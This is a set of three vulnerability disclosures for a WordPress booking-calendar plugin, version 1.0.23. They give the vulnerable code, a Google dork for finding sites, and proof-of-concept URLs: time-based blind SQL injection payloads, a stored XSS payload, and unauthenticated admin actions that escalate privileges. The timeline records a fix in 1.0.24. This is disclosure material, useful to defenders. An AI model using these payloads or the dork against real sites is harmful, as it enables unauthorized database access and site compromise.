# Exploit Title: Wordpress booking calendar contact form <=v1.0.23 - Unauthenticated blind SQL injection # Date: 2016-02-08 # Google Dork: Index of /wp-content/plugins/booking-calendar-contact-form # Exploit Author: Joaquin Ramirez Martinez [ i0 SEC-LABORATORY ] # Vendor Homepage: http://wordpress.dwbooster.com/ # Plugin URI: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form # Version: 1.0.23 # Tested on: windows 10 + firefox. ============== Description ============== Create a booking form with a reservation calendar or a classic contact form, connected to a PayPal payment button. With the **Booking Calendar Contact Form** you can create a **classic contact form** or a **booking form with a reservation calendar**, connected to a PayPal payment button. The reservation calendar lets the customer select the start (ex: check-in) and end (ex: checkout) dates. The **reservation calendar** is an optional item, so it can be disabled to create a **general purpose contact form**. There are two types of bookings available in the calendar configuration: full day bookings or partial day bookings. With full day bookings the whole day is blocked / reserved while in partial day bookings the start and end dates are partially blocked as used for example in **room/hotel bookings**. =================== Technical details =================== Booking calendar plugin is prone to a blind sql injection because fails to sanitize a parameter used into a sql statement. The function ´dex_bccf_get_option´ uses a variable called ´CP_BCCF_CALENDAR_ID´ which is not sanitized and is used as value for the ´id´ of sql parameter. The vulnerable function is called into many other functions, and one of those is ´dex_bccf_calendar_load2´ which sets the ´CP_BCCF_CALENDAR_ID´ with the following code: "" $calid = str_replace(TDE_BCCFCAL_PREFIX, "", @$_GET["id"]); if (!defined('CP_BCCF_CALENDAR_ID') && $calid != '-1') define('CP_BCCF_CALENDAR_ID', $calid); "" and then the function ´dex_bccf_get_option´ is called into ´dex_bccf_calendar_load2´ function: "" ... $option = dex_bccf_get_option('calendar_overlapped', DEX_BCCF_DEFAULT_CALENDAR_OVERLAPPED); ... "" The ´dex_bccf_calendar_load2´ function is called when we request the next url: http:////wp-admin/admin-ajax.php?action=dex_bccf_calendar_ajaxevent &dex_bccf_calendar_load2=list&id= A malicious unauthenticated user can exploit the sql injection and obtain all records from database. ================== Proof of concept ================== http://localhost/wordpress/wp-admin/admin-ajax.php?action=dex_bccf_calendar_ajaxevent &dex_bccf_calendar_load2=list&id=1%20and%20sleep(10) ############################################################################### # Exploit Title: Wordpress booking calendar contact form <=v1.0.23 - Unauthenticated blind SQL injection # Date: 2016-02-08 # Google Dork: Index of /wp-content/plugins/booking-calendar-contact-form # Exploit Author: Joaquin Ramirez Martinez [ i0 SEC-LABORATORY ] # Vendor Homepage: http://wordpress.dwbooster.com/ # Plugin URI: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form # Version: 1.0.23 # Tested on: windows 10 + firefox. ============== Description ============== Create a booking form with a reservation calendar or a classic contact form, connected to a PayPal payment button. With the **Booking Calendar Contact Form** you can create a **classic contact form** or a **booking form with a reservation calendar**, connected to a PayPal payment button. The reservation calendar lets the customer select the start (ex: check-in) and end (ex: checkout) dates. The **reservation calendar** is an optional item, so it can be disabled to create a **general purpose contact form**. There are two types of bookings available in the calendar configuration: full day bookings or partial day bookings. With full day bookings the whole day is blocked / reserved while in partial day bookings the start and end dates are partially blocked as used for example in **room/hotel bookings**. =================== Technical details =================== Booking calendar plugin is prone to a blind sql injection in the shortcode function ´dex_bccf_filter_content´ because there is not sanitization when the variable ´DEX_BCCF_CALENDAR_FIXED_ID´ is asigned and then is used into function ´dex_bccf_get_public_form()´. function dex_bccf_filter_content($atts) { ... extract(shortcode_atts(array( 'calendar' => '', 'user' => '', ), $atts)); if ($calendar != '') define('DEX_BCCF_CALENDAR_FIXED_ID', $calendar); .. return $buffered_contents; } function dex_bccf_get_public_form() { global $wpdb; if (defined('DEX_CALENDAR_USER') && DEX_CALENDAR_USER != 0) $myrows = $wpdb->get_results("SELECT * FROM " . DEX_BCCF_CONFIG_TABLE_NAME . " WHERE conwer=" . DEX_CALENDAR_USER); else if (defined('DEX_BCCF_CALENDAR_FIXED_ID')) $myrows = $wpdb->get_results("SELECT * FROM " . DEX_BCCF_CONFIG_TABLE_NAME . " WHERE id=" . DEX_BCCF_CALENDAR_FIXED_ID); else $myrows = $wpdb->get_results("SELECT * FROM " . DEX_BCCF_CONFIG_TABLE_NAME); ... } ================== Proof of concept ================== An editor/author can add a ahortcode with his sql command into a post: [CP_BCCF_FORM calendar=-1 or sleep(10)#] ############################################################################### # Exploit Title: Wordpress booking calendar contact form <=v1.0.23 - Privilege escalation / stored XSS vulnerabilities # Date: 2016-02-08 # Google Dork: Index of /wp-content/plugins/booking-calendar-contact-form # Exploit Author: Joaquin Ramirez Martinez [ i0 SEC-LABORATORY ] # Vendor Homepage: http://wordpress.dwbooster.com/ # Plugin URI: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form # Version: 1.0.23 # Tested on: windows 10 + firefox. ============== Description ============== Create a booking form with a reservation calendar or a classic contact form, connected to a PayPal payment button. With the **Booking Calendar Contact Form** you can create a **classic contact form** or a **booking form with a reservation calendar**, connected to a PayPal payment button. The reservation calendar lets the customer select the start (ex: check-in) and end (ex: checkout) dates. The **reservation calendar** is an optional item, so it can be disabled to create a **general purpose contact form**. There are two types of bookings available in the calendar configuration: full day bookings or partial day bookings. With full day bookings the whole day is blocked / reserved while in partial day bookings the start and end dates are partially blocked as used for example in **room/hotel bookings**. =================== Technical details =================== Booking calendar contact form plugin for wordpress is prone to multiple privilege escalation and stored XSS vulnerabilities because does not verify if a user that make a request for update the plugin options, add or delete a ´season price´ and add/delete/update an item to booking list is a privileged user and does not sanitize the supplied information. An authenticated user can exploit these vulnerabilities. ================== Proof of concept ================== 1) Add a ´season price´ with XSS Payload in parameter ´price´. http:////wp-admin/admin-ajax.php?action=dex_bccf_check_posted_data&dex_bccf=loadseasonprices &add=1&dex_item=1&price=%3E%22%3Cimg%20src=x%20onerror=alert(/u_r_owned/)%3E%22%3C&dfrom=&dto 2) Delete a ´season price´ with specified ´code´ http:////wp-admin/admin-ajax.php?action=dex_bccf_check_posted_data &dex_bccf=loadseasonprices&delete=1&code=1 3) Own a calendars if you have an account like ´suscriptor´ role and inject a XSS payload into ´name parameter´: http:////wp-admin/admin.php?page=dex_bccf.php&u=&public=1&owner=1&name= 4) Update charset of booking calendar tables: http:////wp-admin/admin.php?page=dex_bccf.php&ac=st&chs= 5) Delete a booking calendar item if you are logged in as suscriptor: http://localhost/wordpress/wp-admin/admin.php?page=dex_bccf.php&cal=1&list=1&ld= 6) Unrestricted update options / stored XSS in some parameters ( PoC html ) ========== CREDITS ========== Vulnerability discovered by: Joaquin Ramirez Martinez [i0 security-lab] joaquin.ramirez.mtz.lab[at]gmail[dot]com https://www.facebook.com/I0-security-lab-524954460988147/ https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q ======== TIMELINE ======== 2016-02-01 vulnerability discovered 2016-02-05 reported to vendor 2016-02-08 released fixed plugin v1.0.24 2016-02-08 public disclosure